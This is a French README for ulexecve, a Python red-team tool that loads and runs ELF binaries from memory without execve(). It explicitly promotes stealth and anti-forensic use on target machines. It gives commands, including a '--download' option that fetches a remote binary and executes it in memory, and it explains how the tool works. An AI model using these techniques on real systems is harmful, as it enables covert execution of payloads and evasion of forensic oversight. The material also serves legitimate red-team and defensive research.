
Exécute des binaires ELF arbitraires directement depuis la mémoire sous Linux sans toucher au disque, permettant des opérations furtives de red-teaming et anti-forensiques via un seul script Python.
Exécutez des binaires ELF Linux dynamiques ou statiquement compilés sans jamais appeler execve().
cat /bin/echo | ulexecve - hello
hello
Cet outil Python s'appelle ulexecve et signifie userland execve. Il vous permet d'exécuter des binaires ELF arbitraires sur des systèmes Linux depuis l'espace utilisateur sans jamais appeler l'appel système execve(). En d'autres termes : vous pouvez exécuter des binaires arbitraires directement depuis la mémoire sans jamais avoir à les écrire sur le stockage. Cela est très utile d'un point de vue anti-forensique ou pour les opérations Red Team, et vous permet de vous déplacer de manière plus furtive tout en déposant des binaires compilés sur les machines cibles. L'outil fonctionne sur CPython 3.x ainsi que CPython 2.7 (et peut-être plus ancien) sur les plateformes Linux prises en charge (x86, x86-64 et aarch64). Les binaires ELF statiques et dynamiquement compilés sont pris en charge. Bien sûr, il y aura toujours un petit sous-ensemble de binaires qui peuvent ne pas fonctionner ou entraîner un crash, et pour ceux-ci, une méthode de repli fiable à 100% est implémentée sur la base de l'appel système moderne memfd_create().
Les outils userland execve pour Linux ont une histoire qui remonte à environ deux décennies. Les premières descriptions solides de cela ont été faites par the grugq dans The Design and Implementation of Userland Exec [1] ainsi que dans un autre article dans Phrack 62 [2]. Les techniques anti-forensiques pour exécuter des binaires directement depuis la mémoire sont assez standard. Par exemple, Rapid7's mettle possède une bibliothèque nommée libreflect qui inclut un utilitaire noexec qui tente également d'exécuter un ELF par réflexion uniquement. Cependant, cet outil est écrit en C et a l'exigence implicite de transférer le binaire noexec sur le système cible tout en étant capable d'exécuter ce binaire.
Dans les environnements conteneurisés modernes, cela n'est définitivement pas toujours possible. Cependant, beaucoup d'environnements conteneurisés contiennent une installation Python. Avoir la capacité de simplement télécharger un script Python via curl ou autre sur une machine cible, et ensuite pouvoir exécuter ce script pour exécuter furtivement des binaires arbitraires est très utile d'un point de vue anti-forensique.
C'est aussi la raison pour laquelle l'outil est entièrement implémenté en un seul fichier. Cela devrait faciliter son téléchargement sur les systèmes cibles sans avoir à se soucier de l'installation d'autres dépendances avant de pouvoir l'exécuter. L'outil est testé avec Python 2.7 même si cette version de Python est obsolète. Il existe encore de nombreux systèmes avec des versions 2.x, donc cela reste utile.
Il n'existait pas de bonnes autres implémentations d'un execve() Python en espace utilisateur. Il existe SELF [3] qui n'était pas extensivement documenté, manquait d'options de débogage faciles, mais surtout ne fonctionnait pas du tout. L'implémentation de ulexecve a été écrite à partir de zéro. Elle analyse le fichier ELF, charge et analyse également l'éditeur de liens dynamique (si nécessaire), mappe tous les segments en mémoire et construit finalement un tampon de saut contenant des instructions CPU pour finalement transférer le contrôle du processus Python directement au binaire nouvellement chargé.
Toute la logique commune d'analyse ELF, de mise en place de la pile, de mappage des segments ELF et de construction des tampons de saut est abstraite, ce qui rend relativement facile (de l'ordre de quelques heures) le portage vers un autre CPU. Le portage vers d'autres plateformes basées sur ELF comme les BSD peut être un peu plus complexe mais devrait rester assez simple. Pour plus d'informations sur la façon de procéder, consultez les commentaires dans le code.
Veuillez noter qu'il est un objectif de conception explicite de n'avoir aucune dépendance externe et d'avoir tout implémenté dans un seul fichier source. Si vous avez besoin de créer des charges utiles plus petites, il devrait être relativement trivial de supprimer la prise en charge de certains types de CPU ou de retirer toutes les informations de débogage et autres options.
Bien que cela ait peu de sens d'un point de vue anti-forensique, l'outil est installable via pip.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
L'outil prend entièrement en charge les exécutables statiques et dynamiquement compilés. Passez simplement le nom du fichier du binaire à ulexecve et tous les arguments que vous souhaitez fournir au binaire. L'environnement sera copié directement à partir de l'environnement dans lequel vous exécutez ulexecve.
ulexecve /bin/ls -lha
Vous pouvez lui faire lire un binaire depuis stdin si vous spécifiez - comme nom de fichier.
cat /bin/ls | ulexecve - -lha
Pour télécharger un binaire en mémoire et l'exécuter immédiatement, utilisez --download. Cela interprétera l'argument du nom de fichier comme une URI.
ulexecve --download http://host/binary
Pour le débogage, plusieurs options sont disponibles. En cas de crash, vous pouvez afficher les informations de débogage via --debug, la pile construite via --show-stack ainsi que le tampon de saut généré via --show-jumpbuf. L'option --jump-delay est très utile si vous souhaitez analyser et mapper correctement un ELF, puis attacher un débogueur pour parcourir le tampon de saut et le binaire exécuté final afin de trouver la cause du crash.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
Il y a toujours l'option --fallback. Elle n'est pas aussi furtive que l'analyse et le mappage des binaires en espace utilisateur nous-mêmes. La méthode de repli utilise memfd_create() et fexecve() mais elle devrait fonctionner à 100% du temps pour exécuter des binaires statiques ou dynamiques arbitraires. À condition que les binaires fournis soient les bons pour la plateforme sur laquelle vous vous trouvez, évidemment.
Évidemment, vous pouvez toujours tomber sur des binaires qui ne s'exécuteront pas correctement. Cependant, cette implémentation est assez propre et bien testée (elle inclut des tests unitaires pour les binaires statiques et dynamiques, les exécutables compilés en PIE et les exécutables avec différents runtimes comme Rust ou Go). Pour la plupart des outils et binaires sur les plateformes mentionnées, elle devrait faire l'affaire. Mais votre kilométrage peut varier. Les binaires produits par des installeurs qui intègrent d'autres informations dans les ELF peuvent ne pas fonctionner correctement en fonction des astuces d'auto-référencement qu'ils utilisent. Cependant, pour les binaires PyInstaller, un repli spécifique a été ajouté à ulexecve.
Les binaires créés avec PyInstaller ne fonctionneront pas directement. Ces binaires nécessitent un fichier de package accompagnateur ou, dans la plupart des cas, intègrent dans l'ELF les données supplémentaires nécessaires pour se décompresser et s'exécuter correctement après le démarrage de l'interpréteur Python embarqué. Cela signifie qu'ils ne peuvent pas être rendus fonctionnels directement. Il existe quelques moyens de contourner cela. Une méthode simple, qui peut fonctionner dans un sous-ensemble de cas réels, suppose qu'il existe un système de fichiers temporaire accessible en écriture. Ensuite, nous remplaçons la chaîne /proc/self/exe dans le binaire par /tmp/xxxx. Après cela, nous chargeons le binaire en mémoire via memfd_create() puis nous pointons le lien symbolique vers /tmp/xxxx vers /proc/<pid>/fd/<fd> pour pointer vers le fichier en mémoire. Pour essayer cette option, utilisez --pyi-fallback. Si vous devez spécifier un autre répertoire temporaire spécifique, utilisez --tmpdir. Veuillez noter que le chemin résultant incluant le tmpdir doit avoir exactement le même nombre d'octets que la chaîne /proc/self/exe (14 octets), donc les chemins plus longs ne fonctionneront pas.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
Lors du portage vers une plateforme différente, assurez-vous que le petit nombre de tests unitaires fonctionnent tous. Lancez simplement le fichier ./test.py inclus sur la plateforme cible et corrigez tout jusqu'à ce que tous ces tests réussissent à nouveau.
Envoyez une pull-request via github, postez un problème dans le tracker de tickets ou envoyez simplement un email à [email protected].
"The Design and Implementation of Userland Exec", par the grugq.
"FIST! FIST! FIST! Its all in the wrist: Remote Exec", par grugq, Phrack 62-0x08, 2004-07-13.
Implémentation de SELF en Python, par Maciej Kotowicz (mak).